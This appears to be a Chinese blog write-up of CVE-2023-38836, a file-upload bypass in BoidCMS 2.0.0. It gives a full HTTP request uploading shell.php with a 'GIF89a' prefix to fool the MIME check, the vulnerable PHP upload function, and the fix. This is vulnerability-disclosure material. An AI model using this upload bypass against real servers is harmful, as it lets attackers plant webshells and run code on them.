CVE-2023-38836 BoidCMSv.2.0.0 后台文件上传漏洞

这篇文章描述了BoidCMS版本2.0.0中的安全漏洞,攻击者可利用MIME标头欺骗上传非允许类型的文件,进而执行任意代码。开发者需注意对上传文件进行更严格的验证以防止此类攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞简介

BoidCMS是一个免费的开源平面文件 CMS,用于构建简单的网站和博客,使用 PHP 开发并使用 JSON 作为数据库。它的安装无需配置或安装任何关系数据库(如 MySQL)。您只需要一个支持PHP 的Web服务器。在 BoidCMS v.2.0.0 中存在一个安全漏洞,攻击者可以通过更改 MIME 标头来绕过上传文件的限制,并最终执行任意代码。这个漏洞可能导致严重的安全问题,因为攻击者可以上传恶意文件并在服务器上执行它们。

影响范围: BoidCMS <=2.0.0

官网地址

Simple, fast, super extensible - BoidCMS

项目下载地址

GitHub - BoidCMS/BoidCMS: Flat file CMS for building simple websites and blogs

漏洞复现

使用账号登录后台 登录url为/admin

admin:password

点击media 上传文件

POST /admin?page=media HTTP/1.1
Host: 192.168.116.128:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAdHS7v1pBwj2hFvh
Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1709286898; wp-settings-time-1=1709712213; __test=1; TCSESSIONID=C535ABCCFF3BD453A9744400E7499A10; PHPSESSID=30296698223c1b44b6021dd0ce8ff70f
Connection: close
Content-Length: 478
​
------WebKitFormBoundaryAdHS7v1pBwj2hFvh
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
​
GIF89a
<?php phpinfo() ?>
------WebKitFormBoundaryAdHS7v1pBwj2hFvh
Content-Disposition: form-data; name="token"
​
38cde7eb88b52ab8ef98cfe140302b6b2d987c0e1dba398572426f6895bc58e0
------WebKitFormBoundaryAdHS7v1pBwj2hFvh
Content-Disposition: form-data; name="upload"
​
Upload
------WebKitFormBoundaryAdHS7v1pBwj2hFvh--
​
​

访问php文件

漏洞分析

找到后端文件上传的函数

/**
   * Upload media file
   * @param ?string $msg
   * @param ?string $basename
   * @return bool
   */
  public function upload_media( ?string &$msg = null, ?string &$basename = null ): bool {
    if ( ! isset( $_FILES[ 'file' ][ 'error' ] ) || is_array( $_FILES[ 'file' ][ 'error' ] ) ) {
      $msg = 'Invalid parameters';
      return false;
    }
    switch ( $_FILES[ 'file' ][ 'error' ] ) {
      case UPLOAD_ERR_OK:
        break;
      case UPLOAD_ERR_NO_FILE:
        $msg = 'No file has been sent';
        return false;
        break;
      case UPLOAD_ERR_INI_SIZE:
      case UPLOAD_ERR_FORM_SIZE:
        $msg = 'File too large';
        return false;
        break;
      default:
        $msg = 'An unexpected error occurred';
        return false;
        break;
    }
    $tmp_name = $_FILES[ 'file' ][ 'tmp_name' ];
    $finfo = new finfo( FILEINFO_MIME_TYPE );
    $type = $finfo->file( $tmp_name );
    $types = $this->_l( 'media_mime',
      array(
        'application/json',
        'application/octet-stream',
        'application/ogg',
        'application/pdf',
        'application/photoshop',
        'application/rar',
        'application/svg+xml',
        'application/vnd.ms-excel',
        'application/vnd.ms-powerpoint',
        'application/vnd.ms-word',
        'application/vnd.oasis.opendocument.spreadsheet',
        'application/vnd.oasis.opendocument.text',
        'application/vnd.openxmlformats-officedocument.presentationml.presentation',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'application/zip',
        'audio/mp4',
        'audio/mpeg',
        'image/gif',
        'image/jpeg',
        'image/png',
        'image/svg+xml',
        'image/vnd.microsoft.icon',
        'image/webp',
        'image/x-icon',
        'text/css',
        'text/html',
        'text/plain',
        'text/x-asm',
        'video/avi',
        'video/mp4',
        'video/mpeg',
        'video/ogg',
        'video/quicktime',
        'video/webm',
        'video/x-flv',
        'video/x-matroska',
        'video/x-ms-wmv'
      )
    );
    if ( ! in_array( $type, $types ) ) {
      $msg = 'File format not allowed';
      return false;
    }
    $name = $this->esc_slug( $_FILES[ 'file' ][ 'name' ] );
    $basename = basename( empty( $basename ) ? strip_tags( $name ) : $basename );
    if ( move_uploaded_file( $tmp_name, $this->root( 'media/' . $basename ) ) ) {
      $msg = sprintf( 'File <b>%s</b> has been uploaded successfully', $basename );
      $this->get_action( 'upload_media', $basename );
      return true;
    }
    $msg = 'Failed to move uploaded file';
    return false;
  }

$finfo->file($tmp_name) 这行代码使用了 PHP 中的 FileInfo 扩展(File Information),它提供了一种获取文件信息的方式,特别是文件的 MIME 类型。

具体来说,$finfo->file($tmp_name) 这行代码的作用是读取临时文件的内容并返回其 MIME 类型。

然而这存在漏洞,它是对比文件的前几个字节来确定文件的 MIME 类型。

若我们在shell.php文件里前几个字节加上GIF89a 则这个文件的 MIME 类型 将会是image/gif。由此便可绕过上传限制,实现木马上传。

后续修复

对扩展名加了白名单

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值